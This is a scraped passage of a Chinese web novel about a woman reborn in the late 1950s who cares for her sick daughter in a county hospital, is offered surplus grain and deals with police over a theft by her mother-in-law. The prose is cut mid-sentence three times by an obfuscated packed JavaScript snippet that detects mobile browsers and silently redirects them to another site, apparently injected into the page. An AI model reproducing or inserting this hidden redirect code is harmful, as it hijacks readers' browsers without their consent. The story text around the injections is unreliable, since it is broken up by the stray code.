一听说医院食堂还有打卤面，苏南来连着咽了好几口口水，并发出了三连问道：“护士同志，这打卤面是按份卖还是按斤两卖？是只用粮票吗？都有啥卤子啊？” 小护士回道：“一份打卤面里有四两面，要是不够吃的话也能多要点面条，到时候按具体的量给票和钱。至于拌面的卤子有三样，酸菜肉丝打卤、素花椒青酱卤和肉臊子。” 苏南来苏南来越听越馋，心想不愧是县城，连医院食堂的打卤面都做得这么齐全，光卤子就有三样！面条还都是用纯细面粉擀出来的……光想想就知道肯定好吃。 尤其是在听到小护士说“肉臊子”时，苏南来的眼睛是控制不住地冒亮光。 那向往的小眼神，小护士是想看不见都不行，生怕她不知道内情，连忙小声说道：“圆圆妈，你要是想吃打卤面的话，最好还是要酸菜肉丝的卤子，或者是花椒卤。不是说肉臊子不好吃，但这个价格最贵了，而且甭管你要多少面条，都只能来一小勺，根本不够拌的！有这钱，还不如单买面条就着炒菜吃呢。” “只给一小勺？” 苏南来有些泄气，心说那一勺子肉臊子哪够自己吃的，有这钱还不如留着去肉铺买肉回家自己做呢。 不过这一勺肉臊子虽说不够她吃的，但要是给圆圆吃那肯定是绰绰有余。 苏南来想了想，打算要两份面。 一份是自己吃的加大量酸菜肉丝打卤面，一份是给闺女吃的少来面条的肉臊子面。 减量后的面条再浇上一勺肉臊子就肯定够拌的了！ 至于单要面条配炒菜…… 苏南来还是更喜欢卤子配面条。 毕竟几道炒菜里就一道荤菜，还又是白菜又是粉条的，这打菜打到手后能吃着多少肉可想而知。 苏南来打定主意道：“我还是想吃捞面，我都好久没吃过细粮了……到时候我吃酸菜肉丝打卤，再给我家圆圆买份肉臊子拌面，一勺肉臊子肯定够她吃。” 苏南来边说边咽着口水，直给病房里其他的家属说得也都有些意动，不约而同地咽起了口水，心里想着要不要也去买一份给孩子尝尝。毕竟，这家里饭也就是比食堂饭吃着省钱，可咋也比不上来碗细粮面条好吃。再说，这一份面条有四两呢，要是孩子吃不了，她们也能跟着尝尝味儿。 这年头，再好的家庭也不敢天天吃细粮，都是粗细掺着吃。要说平时这么迟也就算了，但孩子生病住院本就嘴素、缺营养，难得食堂供应细粮，买一份吃也不过分…… 几个家长一合计，也跟着表态道：“那等一会儿食堂开饭后，咱们就都一块去买打卤面吃吧！”说着，几人又看向唯一没有公婆、丈夫过来帮忙的苏南来，主动说道，“圆圆妈你这一个人看孩子不容易，等晚上打饭，你就别去了，我们一块也给你把饭打回来。” 面对众人的热情，苏南来微微抿着嘴，略带不好意思道：“真的谢谢大家愿意帮我打饭回来，只是……我这人饭量有点大，我怕你们拿自己的饭还得帮我拿饭的话，回来会……不太方便。” 壮壮妈一脸不信：“有啥不方便的，你这瘦胳膊瘦腿的能有多大饭量？” 苏南来笑得腼腆：“不多，一斤面条就够。” 众人：“！！！” …… 不管众人如何震惊、疑惑苏南来的饭量，如何劝说她别眼大肚小地买太多浪费，苏南来也还是坚持底线地买了一斤酸菜肉丝打卤面，外加一小碗的肉酱面。 这也是她重生回来后的第一顿饱饭—— 看着面前这满满一盆的面条，苏南来是边流着口水，边拿着筷子用力搅拌，好争取让每根面条上都能裹满味道浓郁喷香的卤汁。 其实要说打卤面，最经典的还得说是西红柿鸡蛋打卤面，再在里面放些木耳、豆干和黄花菜……那滋味儿，简直是能和老北京炸酱面媲美。 但可惜，苏南来所处的地区属于温带季风气候——这是她在末世认识的一位同样故乡在东三省的地理老师告诉她的——这样的气候让故乡的冬天总是寒冷又漫长，使得蔬菜也变得奢侈。 在农业技术无法保证北方的冬天也能吃上青菜的年代里，老百姓最常吃也都吃得起的青菜，除了白菜外，也就只有各种咸菜、酸菜和各种晒干的干菜了。 不过酸菜肉丝的打卤面也好吃！ 纯手擀出来的面条筋道十足，虽不如拉面能保证长度，但用擀面杖擀出来，并在擀好后层层叠好再切出来的面条的宽度、厚度都恰到好处，吃起来十分有嚼劲的同时又保留了面食特有的柔软，再在最后浇上用酸菜肉丝烧出来的卤子—— 那滋味，光想，就让人忍不住流口水！ 苏南来用近乎虔诚的眼神盯着眼前的面条，几乎快忘了自己上一次吃面是什么时候。 “圆圆妈，这面条可是足足一斤的量，你……真都吃得了？”旁边的壮壮妈坐在儿子旁边看不见苏南来近乎饿虎扑食的眼神，只觉得这装了满满一小搪瓷盆的面条，和苏南来穿着棉袄棉裤也还是能看出纤细的身形实在不匹配。 对于壮壮妈的关心，苏南来觉得还是不要和对方说这一斤面条可能都不太够吃自己的事实，只笑着拿起了筷子，边搅拌着面条边腼腆笑着说道：“我先吃着看吧，反正现在天冷，吃不了也暂时坏不了。” 话音刚落，苏南来就挑起满满一筷子的面条，也不管这重量会不会压垮手里细细的筷子，更顾不上吹吹凉，一口就将还冒着热气却也挂着满满酸菜肉丝的面条送进了嘴里—— 只这一口，酸菜独有的酸甜清香味就充斥了整个口腔，尤其是在咀嚼时迸发出的酸菜汁水搭配着煸炒过的五花肉的肥香，简直可以说是天作之合！ 手擀面的香就在于这里——不管是炸酱还是打卤，也不论口重口轻，手擀面特有的麦香都保留在牙齿的咀嚼中，不会像挂面那样受外来口感的影响，随便一泡就没了面条本身的味道。 苏南来唏哩呼噜一通猛吃的架势，直给病房里的孩子和家属们都看懵了。但看着看着，大伙儿也不知道是咋回事，全都是越看越馋、越看越饿，本来吃得挺饱，却不知怎的，又想再吃点。 壮壮一家三口在苏南来的影响下，全都跟着又吃了一大碗的面条，只觉得这面条比第一碗要好吃不少，连着壮壮这个挑食鬼都喊着还想要再吃。 一时间，整个病房都是吸溜面条的声音。 不过要说吃得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179338|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速度最快也最香的还得说是苏南来。 别看她盆里的面条最多，但末世最讲究速度，其中就包括吃饭速度。在末世最艰难的那几年，苏南来可以说啥都吃过，为了能吃饱更是跟人抢过不少食物，这吃饭速度早就练出来了，尤其是在这香喷喷的面条的诱惑下，她更是出于习惯地加快速度，生怕浪费一点。 在满满一小搪瓷盆的面条即将见底时，苏南来听见了身后床上传来的闺女略有些嘶哑的声音：“妈……饿……吃……” “圆圆？”苏南来听到闺女喊自己，连忙放下碗筷回身问道，“圆圆你是不是饿醒了？妈给你留着面条呢，就放在从家里带过来的你最喜欢的小碗里，是肉臊子拌面，可香了！” 看着闺女难受得说不出话，只睁大眼睛望着自己的眼神，苏南来莫名想到了自己去世时的场景。 那时，圆圆饿得像个发育不良的豆芽菜，望着自己的眼神充满了害怕、难过与不舍，却渴得饿得连眼泪都掉不出来，只不停喊着“妈妈”。 想到这，苏南来眨了眨眼，将即将漫上来的泪水眨了回去，对仍反应有些迟钝的闺女柔声哄道：“圆圆要是不想吃面条，咱还有粥喝，有鸡蛋吃。那粥可香了，是食堂阿姨煮了好久好久的黏糊糊的米粥，妈妈喂你吃好不好？” 说着，苏南来把放在行军床上的被窝垫在了闺女身后，确定这个姿势还算舒服后，她又拿起桌上用来盛粥的铝饭盒，舀了一勺浆糊糊的米粥吹了吹，喂给了闺女：“尝尝味道咋样？要是好喝，等队里分粮，妈就拿分来的粮食去换细粮回来搁家给你煮粥喝！还有那面条，妈给盛面条的碗放热水盆里了，还热乎着呢，等喝完这几口粥再吃点面条？” 都是有孩子的人，谁不知道孩子嗓子眼嫩得吃细腻食物，也就是条件不允许，不然谁不想天天给孩子吃细粮。 在听到苏南来说要换粮这一话题后，病房里几个家属都不免跟着说起了粮食问题。 城里人吃粮都有定量，其实也不忒够吃，和农村人省下粮食给家里劳动力吃一样，她们也得尽可能省下口粮给家里的男人和孩子吃。但比起病房里唯一来自农村的苏南来母女二人，其他几个人嘴上不说心里却仍自觉县城到底要比在农村的生活强，哪怕他们中有不少人连医院食堂的一碗打卤面都舍不得买，或者说是为了面子才买的，可也还是谁都不肯承认县城人也同样吃不饱的事实。 正在这时，坐在靠窗位置病床旁的军军奶奶突然来了句：“其实县里也就是比农村机会更多，要说吃饱饭也一样得靠天吃饭，毕竟这城里的粮食都是咱村里人种出来的！” 军军奶奶也是农村人，仗着儿子考出了学问扎根在了县城，才得以离开农村老家，过上了跟城里老太太一样只用洗衣做饭看孩子的日子。 她这话一说，刚还在吹嘘县城日子有多好的妞妞妈顿时不吭声了，气氛一下就冷了下来。 苏南来觉得有些尴尬，便借口说去打热水给闺女擦身上后，起身拿起从家里带来的旧暖水瓶准备去水房，却不想自己才刚走出病房没两步，军军奶奶就跟着出来了，追上苏南来后就说了一句： “圆圆妈你刚说想用粗粮换细粮？ “这事，我能帮你——” 8. 第 8 章 第8章 这年头，没钱没票还想买细粮，就只能用更多的粗粮来换取更稀罕的细粮。但一般没人愿意做这赔本的买卖，毕竟比起更扛饿的粗粮，细粮是又贵又不禁吃。 苏南来有心囤粮，刚刚说要用分的粗粮换细粮也不过是随口一说，心里其实早就计划好要找机会去隔壁县甚至是市里的鸽子市去采购些不要票的粮食，根本没想在人多眼杂的本地县城买粮食，更不想让人知道自己的囤粮计划。 可眼见军军奶奶如此执着地追着自己说，苏南来也没再拒绝，只露出疑惑的样子，等对方继续往下说，看她要怎么帮自己。 “……我儿子是咱县粮站的主任，你又是军属，只要带够钱和票，都不用你拿粗粮换，细粮就能管够！”军军奶奶说这话时的语气中满是对自己儿子工作的满意，或许还带点炫耀？但到底还顾忌着场合，没敢太大音量。 粮站主任？ 苏南来心微微一动，故意说道：“军军奶奶，我虽然没啥见识，但也知道这粮食不是随随便便就能买的，更别说是细粮了，我也不是城市户口没有城市定量，咋可能光拿着钱和票就能买啊。难不成，您是想倒卖粮食？可别逗我了！” “我可不是逗你！”军军奶奶见苏南来如此反应，连忙解释道，“粮食当然不能随便倒卖了，可要是没人要的陈粮，不就是能随便买了吗！” “陈粮？”苏南来不动声色道，“这陈粮只要没长虫子也还是有人乐意买的，毕竟这两年收成不好，县里也不是个个都能吃上定量粮，咋就轮得上我呢。” 县城不比市里有工厂能当工人，县里的人也得种地才能有粮食吃，只是比起下边管理更严格且年年都得收粮供给城市的公社、大队，县里人的日子更好过些，机会也更多一些。 像是军军他爸就是县粮站的正式工人，每月的工资再加上军军妈和军军奶下地干活的收成，就才能说是勉强足够一家老小的生活。 而军军奶奶之所以这么热情，倒和苏南来是军属没啥关系，主要就是他儿子所在的粮站有一大批不能明目张胆往外卖的陈粮…… 这陈粮都是往年磨好的面粉、大米，还有不少的棒子面和高粱米。 都没发霉也肯定吃不死人，就是味道不如新下来的粮食好吃，并且因为搁得时间长了点，就……闷出了蛀牛子，也就是米象。 这种虫子对人体没害，就是天一热或是一捂就容易长在粮食里，看着挺恶心的。而且这陈粮的量还不少，之所以积攒这么多也是之前的领导搞腐败，想把这粮食留下自家吃，外带着不少粗粮也一块留给老家的亲戚。 这领导对家里人和亲戚朋友倒是挺上心，就差给老家养的母猪也留点米糠了。而他把粮食留来留去的结果当然是被发现了，不然也轮不上她儿子这个傻实在当领导。 头面那领导是叫人举报下马了，可等他的问题处理完后，新粮食就下来了，这些陈粮就被压在仓库最里头，也是最近年底库房登记时才发现。 上头的领导怕事闹大了影响不好，就叫她儿子在春节以前把这些陈粮卖出去但又不能叫人知道这些粮食的来历，更不能大张旗鼓地卖……这，这简直就是故意为难人！ 军军奶奶倒是想让儿子撂挑子不干，可问题是领导早就发话了，说要是卖不出去，把这些粮食堆积到彻底坏了发霉了，她儿子这好不容易提上来的级别就又得落回去不说，最怕的是会被领导认为没能力，以后工作中再被穿小鞋！ 可这么多陈粮哪儿是轻易就能卖出去的。 县里头的大伙儿是秋天时就都买过一批新粮食还都够吃的呢，就算有人买也轻易都不乐意买去年甚至是前年剩下且还长了虫的陈粮。而下边公社和大队也马上要年底分粮，村里人为了能手里留点过年钱，年年都还得把他们份额里的粮食卖出一部分给县里，咋也不可能再花钱买。 为了儿子，军军奶奶是舍了脸皮把亲戚朋友求了个遍也没卖出多少，最后还是自己掏钱买了一百来斤，外加儿媳妇掏钱算给她爹妈买的，这才算“卖”出去点，可到现在库里还剩下几百斤粮食！ 眼瞅着就要到阳历年，离过年也不远了，军军奶奶是发愁得着急上火却偏偏赶上孙子生病没法按之前想得那样去集上摆摊卖。 今儿在病房正好听苏南来说想买细粮，她也顾不上其他人的想法，只想着自己要是能多卖给一个人就能叫库里的陈粮少一份，叫儿子也能在领导面前多得几分笑模样，哪怕是得上赶着，也总比天天坐在病床前跟孙子干瞪眼强。 这样想着，军军奶奶的态度就更多了几分热切：“虽说是陈粮，但也就是去年前年剩下的，保证能吃不说，价格上还能便宜！当然，你要是想买粗粮，也一样能便宜！” 听到这话，苏南来挑了挑眉，心想对方这是急切想要将这批陈粮出手啊。 虽说不知道是为什么，但啥叫想瞌睡就有人送枕头，这就是啊！管他是哪儿来的陈粮，只要能吃就行！她正愁不知道上哪个没人认识的地方大批囤粮呢！ 比起黑市这种显然要冒险的地方，粮站肯定是安全又有保障，自己只要想好借口让她和她那个在粮站当领导的儿子以为她是图便宜才买的粮食，再给这些粮食编个去处，别叫他们怀疑她是有意想要大量囤粮，自己不就是自得来全不费工夫吗！ 苏南来越想越觉得这是个绝佳的机会。 只要粮食到位，陈粮也无所谓！ 到时候她吃陈粮，给闺女再买点细粮就行。 苏南来心里是热火朝天地想着，面上却十分平静地拎起了已经接满热水的水壶，随口回了句：“军军奶奶您真是太客气了，等回头出院的！我这现在买也没地方放啊。” 这医院走廊到底人多口杂，苏南来不想叫其他人知道，也怕说多了会暴露自己对当下粮价不了解的事，只在军军奶奶失落的目光中，隐晦地补了一句：“要不，您给我留个地址？” …… 在和军军奶奶私下沟通并得到了对方的家庭住址后，苏南来拎着暖水瓶回到了病房，打算等闺女喝完粥后再用热毛巾给她擦擦身上，免得刚在被窝里蒙出来的汗总在糊身上不舒服。 看着闺女一手捧着小碗，一手拿着勺子乖巧喝粥的样子，苏南来的心情就跟那刚弹好的棉花一样，柔软又舒坦。 只是…… 吃得是挺香，可怎么边吃边哭起来了？ 是粥太烫了？还是咳嗽得嗓子疼到吃东西都疼？！ 闺女无声的眼泪，让苏南来一下子就麻爪了。 她正打算放下手里的勺子和饭盒，把闺女抱在怀里哄一哄问问是怎么回事时，闺女就先抬头也抬手推了推她手里的饭盒，哑着声音说道：“妈，你吃。” 圆圆是56年10月1日的生日，是在国庆节出生的，今年才两岁多一点，说话咬字还没那么清楚，说“吃”总像是在说“呲”。 在家时，苏南来不止一次教过她正确的发音，却怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽说圆圆现在这一副营养不良的“小豆芽”模样是真让人心疼也不咋好看，但苏南来也还是想和闺女一起拍张合照。 上辈子，她们一家三口唯一的合照，还是在圆圆刚出满月时拍的那一张满月照。 如今好不容易重生回来，苏南来想多拍点照片，以后也好拿着圆圆如今这小豆芽儿模样的照片对比她未来肯定会被自己养得白白嫩嫩的样子。 同时，她也想拍下此时此刻。 ——她得记住圆圆跟着自己吃苦受罪的模样，记住自己这个当妈的太过窝囊的时光……这样她才能记得住上辈子的悔和恨，记住自己这辈子绝不能重蹈覆辙的责任与使命。 躺在医院提供的行军床上，苏南来没有半点睡意，想起了很多很多快要忘记的从前的事，也想好了从医院回去后要做的事。 但在看到身边在病床上睡得似乎有些不安稳的闺女后，她就顾不得再想其他，连忙坐起来给闺女掖了掖有些踹散的被子，并伸手轻轻拍起了被子，低声哄道： “圆圆不怕，妈陪着你呢……明天咱们就能出院了，到时候妈带你去照相馆拍照片，拍完照片后妈就带你去副食品店买你爱吃的桃酥，再给你买身漂亮的花棉袄穿……等到明天，我们圆圆就病好了，咱们就能回家了，妈带你回家……” 然而，计划不如变化快。 苏南来昨晚才和闺女许诺要去照相馆拍照等等的话，在第二天就不得不食言了—— 两个“大檐帽”来到了医院。 找她。 [注1] 9. 第 9 章 第9章 两位“大檐帽”的到来，让苏南来感到十分的意外，正疑惑不解对方是为什么会来找自己呢，就听见两人中更年长的那位开口说道： “苏南来同志你好，我们是县公安的干警，我叫王德彪，这位是赵明。我们今天来医院找你是有群众报警——” 面对苏南来紧张忐忑的神情，以及病房里其他人好奇探究的目光，叫王德彪的年长公安十分大喘气地说道：“你家被偷了。” “我家被偷了？！” 苏南来此刻的情绪和所有知道自己被偷家人的反应一样，满脸的惊慌失措，恨不得现在就冲回家确定都丢了啥东西的同时，还不忘追问来的这俩公安有没有抓到小偷。 叫赵明的那个年轻小公安点头说抓到了，还想再跟她再多说些关于他们抓捕的事情时，王德彪抬手握拳咳嗽了一声，瞥了一眼说话不分场合的赵明，径直把话茬接了过去： “小偷现在已经被我们带回县公安了，我们这趟过来就是想请你跟我们回去协助调查，确定一下你家丢失物品的情况。” 苏南来装作没看到两人的眉眼官司，只说道：“现在就去？那你们得等会儿，我得先去办出院手续。而且我家没别人能帮我看孩子，我得带着我闺女一起。” 显然，俩公安在来医院找到苏南来前，就已经对她的家庭情况有所了解，不光没有嫌她这磨磨蹭蹭，还都挺热情地帮她扛着带来住院的行李包袱。 苏南来也不矫情，见这俩公安，一个帮着拿行李，一个帮着办出院手续的，也不好意思耽搁时间，轻手轻脚却又不是利落地将她家圆圆用抱被包好后，又请会系襁褓的军军奶奶帮忙，把还在熟睡中的闺女给“背”在了胸前。[注1] 苏南来个头不算矮，丈夫宋望北更是一米八几的大高个，可也不知道是缺营养还是什么别的原因，宋圆圆从生下来就是小小一团。如今都两岁多了，也还是个小个头，哪怕是被厚厚的襁褓裹着，抱在怀里也还是轻得像颗摇摇晃晃的黄豆芽。 这叫苏南来一路朝县公安走着，一路内心止不住心疼地开始琢磨该怎么给闺女补营养。 …… 大概走了十多分钟，一行人就抵达了县公安。 “……刚才在县医院，人多口杂的，我就没让小赵把具体的情况说出来，希望苏同志你不要介意。” 王德彪边倒了杯热水递给苏南来，边解释了刚刚在县医院打断赵明说话的事情：“主要是被抓到的这名小偷她……身份比较特殊……不好当着太多人说。” 作为军属，苏南来不说文化水平有多高，但就政治觉悟而言，她自认为还是很不错的。 对于王德彪含糊不清的说法，她直接表明态度说道：“王公安，既然人已经你们抓到了，那我的想法就是不管对方是啥身份，有多特殊，都得该咋判就咋判！咱们不能冤枉一个好人，但也绝不放过一个坏人！” 说到这里时，苏南来的目光犀利，语气严肃，这让被注视着的王德彪有一种自己仿佛已经自甘堕落，与身份特殊的小偷同流合污的罪恶感。 “不是，我说的特殊不是说要包庇谁……” 王德彪被苏南来的话彻底搅乱了心态，生怕对方给自己扣帽子，嘴皮子前所未有地利索着将事情的经过讲了出来。 这事，还得从两天前说起……在苏南来抵达县医院的同一时间，邱丽娟带着闺女直奔大队部找到了丈夫田丰年，打算抓赵金花个现行。 在得知苏南来出发去县医院前和赵金花之间发生的事后，田丰年也是第一时间想到赵金花很可能会贼心不死地趁着苏南来不在家时去偷东西。 商量一番后，两个人决定由邱丽娟先带着闺女一起去老宋家蹲守，看看他们这一家子是不是“团伙合作”，确定其他人的动向。田丰年则找到治保主任赵树立一起去苏南来家，先确认她家里的情况，争取能抓赵金花一个现行。 至于田小溪在意的崔爱红……手里的那块红布，究竟是不是从苏南来家里“偷”来的……呵，崔爱红拿回来的那块红布或许真的是她从娘家带回来的，而她也的确是没干过像赵金花那样直接找上门连拿带抢的事。 可崔爱红能不知道赵金花是个啥样人吗？能不清楚赵金花隔三差五就能往家里拿回来的东西都是哪儿来的吗？能不明白为啥老宋家的人包括她在内总能偷懒却还不愁吃喝的原因吗？ 看破不说破罢了。 这道理，能用在崔爱红、用在老宋家人身上，就能用在田丰年、邱丽娟和所有人的身上。 老话说得好： 黄泥巴落在□□里—— 不是事（屎）也是事（屎）了。 总之，田丰年和邱丽娟是谁也没把崔爱红这个小虾米当回事——只要抓到赵金花个现形，那包括老宋家的人在内，就都得“吃了吐”地把从苏南来家里拿走的东西还回来！ …… “……你们生产大队的人本来没想报警，但你家被偷了，最大嫌疑人赵金花却不知所踪，大队全体队员出动也都没找到赵金花，你们辛庄大队的田丰年同志怕出事，就主动报警联系了我们。当天晚上我们就抵达了现场并发现你家被偷窃的痕迹十分明显，之后在赵金花家里也搜到了不少疑似赃物的物品，我们就立刻开启了抓捕行动，抓捕的过程就不详细说了，反正赵金花人是在山坡下被发现的，现在人已经被我们拘留起来了。” 王德彪一脸无奈：“我刚刚说的特殊，就是因为你们生产大队的人说赵金花和你丈夫……” “她和我丈夫一点关系都没有。”苏南来语气生硬地打断了对方的话。 王德彪见此，也就清楚苏南来对赵金花的态度，没再继续这个话题，转而说道：“咳，总之，今天请你过来，一方面想你配合调查，说明一下你当天都做了什么，是什么时候离开大队的，方便我们确定赵金花的作案时间。另外就是需要你登记一下家里的现有财产和物品，到时候我们会根据你家被偷的情况来确定都丢了多少东西。” 说着，王 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说是要跟自己了解情况，外加登记家里资产，可半天也不见问更不见动窝，反而故作好心实为试探自己地拉着她跟唠家常似的聊案情，还就挺专业……呵，看来自己这位“好婆婆”在被抓到以后，是没少跟公安同志说自己的“好话”啊。 苏南来没有轻易放过对自己有所怀疑的王德彪，继续追问：“公安同志，既然你们把人抓到并且也有人看到赵金花偷我家东西了，这都证据确凿了，她得被判几年啊？是不是以后也都不会再上我家来要钱了啊？” 王德彪没把话说死，只表示赵金花会不会蹲监狱不是他说了算，他只负责抓人，判刑的事不归公安系统管：“但是苏同志你放心，她肯定是要接受思想教育，绝对不能让她再做出偷窃行为，你不用担心她会再去偷你家了。” “那她偷走的东西……” “都会还给你的。但前提是我们需要先确定哪些东西是你的，哪些是她本来就有的。” “真的？”苏南来再三问道，“只要我能确定哪些东西是她从我这里抢（偷）走的，你们就都能还给我？” “当然！”王德彪也再三保证，“凡是通过不正当途径得来的钱或物，都必须要归还失主。” 听到这话，苏南来意味深长地笑了。 “那她以前跟我这还抢走了不少我丈夫寄回来的津贴，您也一定能帮我把那些钱都要回来吧。” “当……不，这个就不……” “不一定”这三个字还没等王德彪说完，就见苏南来激动地站起身来，一手拢着怀里的闺女，一手握住了王德彪的手—— “您真不愧是为人民服务的人民警察！真是太感谢您愿意帮我把钱要回来了！” “不是……” 苏南来完全不理对方，更不听对方想解释的话，只低头看向在自己怀里睡得正香的闺女，好像她能听懂似的说道：“圆圆你听见了吗，公安叔叔要帮咱们把你爸这些年刚一寄回来就被人抢走的那些钱和票要回来——” 苏南来：“圆圆，快跟妈一起谢谢公安叔叔！” 王德彪：“……” 我没答应！！！ 10. 第 10 章 第10章 苏南来的真诚感谢像是一场龙卷风，将生来头发就自带卷毛的王德彪吹得是整个人都打着卷儿的“飞”了起来，让他被迫咽下了想要拒绝的话，只能含糊的、尴尬的笑几声，试图以此来掩饰自己刚刚做出的试探行为。 看着苏南来完全没关注目击证人这事，只满心欢喜自己之前被拿走的钱和票也都能要回来，抱着身上的闺女高兴得颠了好几下的反应，王德彪有些惭愧也有些心虚。 但同时，他也忍不住松了口气…… 对苏南来做出的试探，不止刚刚“随口”提起目击证人的话，还有从一开始见面的对话、一路上对她的问话和刚刚的笔录。 之所以这样做不是怀疑苏南来，主要是架不住被抓起来的赵金花各种撒泼耍赖不承认偷东西，还没完没了说她被发现在山坡下不是意外跌落，更不是畏罪潜逃，而是被苏南来推下去，说苏南来是要杀她。 可这话谁信啊。 要知道，当时田丰年报警后，他们几个公安在山坡下找到赵金花时，她人早就给冻晕过去了，是他们几个公安外加队里几个力气大的青壮年一起，不知道废了多少劲才弄上来的。 在这个人人都还在求温饱的年代，赵金花的身形体重都快比得上从前的地主婆子了！他们几个大老爷们抬她都费劲，她竟然还敢说是苏南来给她推下去的—— 别的不说，就说从苏南来家到她掉下去的山坡这段路就得步行差不多十分钟，除非她是自主自愿跟着苏南来走到山坡边，闭着眼珠子配合苏南来推她下去的动作，不然就苏南来这抱孩子都费劲的小身板，能给她拉扯过去再推下去？！ 王德彪忍不住想起赵金花醒过来后，发现自己被抓到县公安时，一点都不犯怵反而各种撒泼到几个人按不住她，把领导都给惊动了，给她拷起来才限制住了身体，说却还是拦不住她嘴里各种骂骂咧咧，说话难听到他们领导脸都发青的场景。 苏南来要真是像赵金花说得那样，对她又打又骂又推她下山坡……那他们局里几个在赵金花撒泼时被误伤的公安恐怕都得解气得说她这是为民除害。 当然，就是想想。 作为公安干警，他们的情绪是不能受个人影响，必须得保持公平公正公开的原则和态度，平等地对待每个人。而这，也是为啥大家伙都不相信赵金花说的话，却又得对苏南来进行试探的原因——他们不能冤枉一个好人，也不能放过一个坏人。 秉持着这个职业底线，王德彪等人哪怕都认为赵金花是在胡说八道，也必须得用证据去证明她是在胡说。而不能主观地做出判断，毕竟赵金花说得言之凿凿，万一这是真的，那这个事情就不是单纯的偷窃案，而是涉及了人命的大事件。 只是直接问话不免有质问的意思，苏南来是军嫂，总不能因为赵金花就随便给人家扣一顶谁听谁觉得假的帽子，更别说直接问话这种方式，真要是做了这种事也不可能一问就说真话吧。 思来想去，就选择了试探这种相对委婉，也更容易从对方反应中得到真相的方式。 在对苏南来进行了几次试探后，王德彪基本可以确定对方是无害的——赵金花明显是想要转移视线，以达成她想要洗清自己，顺便再污蔑对方的目的——这种恶劣行为必须严肃处理！ 王德彪认定赵金花这么说就是为了给自己脱罪，心想着一会儿必须得去找领导说明情况，争取能严判赵金花，以儆效尤！ 至于帮苏南来要钱这事…… 王德彪眼神飘忽着，心想有困难找领导，这也一并找领导解决吧。 嗯，就这么办！ 被cue的领导：“阿嚏——” （一想二骂三惦记，是谁想我呢？） …… 在决定把问题都推给领导解决后，王德彪脚底一抹油，活像有人在后面追他似的，兴冲冲地就跑去了领导办公室。 苏南来则留在原地，随便找了个位置，开始在另外一位公安的注视下，慢吞吞地盘算起了家里现有的钱、票和物件的具体数目。 “……” 看着桌上空白的纸，苏南来很是发愁。 她哪儿还记得家里有多少钱和票啊，早就在末世不需要金钱只需要拳头的艰苦求生中给忘了个一干二净！ 来县医院之前她倒是粗略地过了一眼被自己收在柜子里的信和津贴上面具体的数，票证啥的则根本没有几张。估计是被赵金花拿走了。 不过，这难不倒苏南来。 ——她可以现编。 宋望北在抗美援朝胜利后，就被破格升为了他所在部队里最年轻的副营长，后又在57年的时候升格成了营长，每个月按行政17级领工资，也就是101块钱。之前副营长则是拿18级工资89块钱。 苏南来和宋望北都清楚赵金花和躲在她背的老宋家一直都惦记着他在部队的工资，所以他们两口子早就商量好每个月只往家寄30块钱，剩下的钱则由宋望北保管。 从53年开始往家寄钱…… 每个月寄30块钱…… 这几年光是寄回来的部分津贴就差不多一千块。 苏南来算出了一个大概齐的数字后，毫不犹豫地在登记纸上写下了“1677.89”块钱。 瞅瞅！有零有整，一看就不是在弄虚作假！反正宋望北每个月的工资都是按国家制定的级别合情合理领的，她也不怕人查。 至于票和物件…… 苏南来对负责登记的公安说：“我丈夫每个月都会给我寄各种票证回来，我实在记不清楚都有多少了。但我们队除了我丈夫是军人外，就只有几户家里有人在公社、县里上班的。老宋家除了有购买本和队里年底才分发的布票以外，不可能有票。” 和城里人有粮本一样，农村人也有个购买本。像是每个家庭都必须要有的一些火柴、煤油、白糖、酱油等生活物品都印在购买本上，每月都有定量，买过就会被印上印章。 至于布票、粮票和肉票就更稀罕了。 布票是按人头；粮票则是如果有外出需要时，得拿着粮食和证明去粮管所用粮换票；肉票则根本别想有，农村人想吃上口肉，只能等年底队里统一分。 苏南来在县医院陪床这几天，恶补了不少被遗忘的常识：“我家还有不少张工业券，也都是我丈夫寄回来的，像是我家不见了的那对红暖瓶就是用工业券买的。哦还有不少张肉票，那都是我丈夫担心我下地干活挣不来太多工分，分不到多少粮食而特意寄回来补贴家用的！”[注1] “那你家都有啥物品？像是布料、衣服啥的。” “嗯……有几块布料，大小是能够做三四套衣服的。哦，还有块差不多做对枕巾大小的红布料，那是我丈夫在部队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179341|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到的奖励，也是我答应好要送人的结婚礼物，可好看了！” 苏南来应编尽编地编了不少她上辈子知道老宋家一定会有的东西，又猛地想起了两件后来被他们抢走，但现在应该还在家里的物件：“……有个刻着花的银手镯是我娘留给我的嫁妆，还有块梅花手表，那是我家阿北送我的礼物。” 这两个物件对苏南来的意义很大，上辈子，她一直藏得很好，生怕被赵金花发现平时都不敢拿出来看，但后来也不知道是怎么被他们发现了，最后还是落到老宋家手里。 这辈子，这两样东西应该还在，倒是能拿出来说是被他们偷走的。 至于东西被偷走后藏在哪儿…… 苏南来心想，只要自己咬死说东西丢了，再针对老宋家的积蓄表示这些钱都来路不明，自然而然就会有人想到他们可能会把东西卖了换钱这一途径。到时候，他们想不赔钱也得赔！ 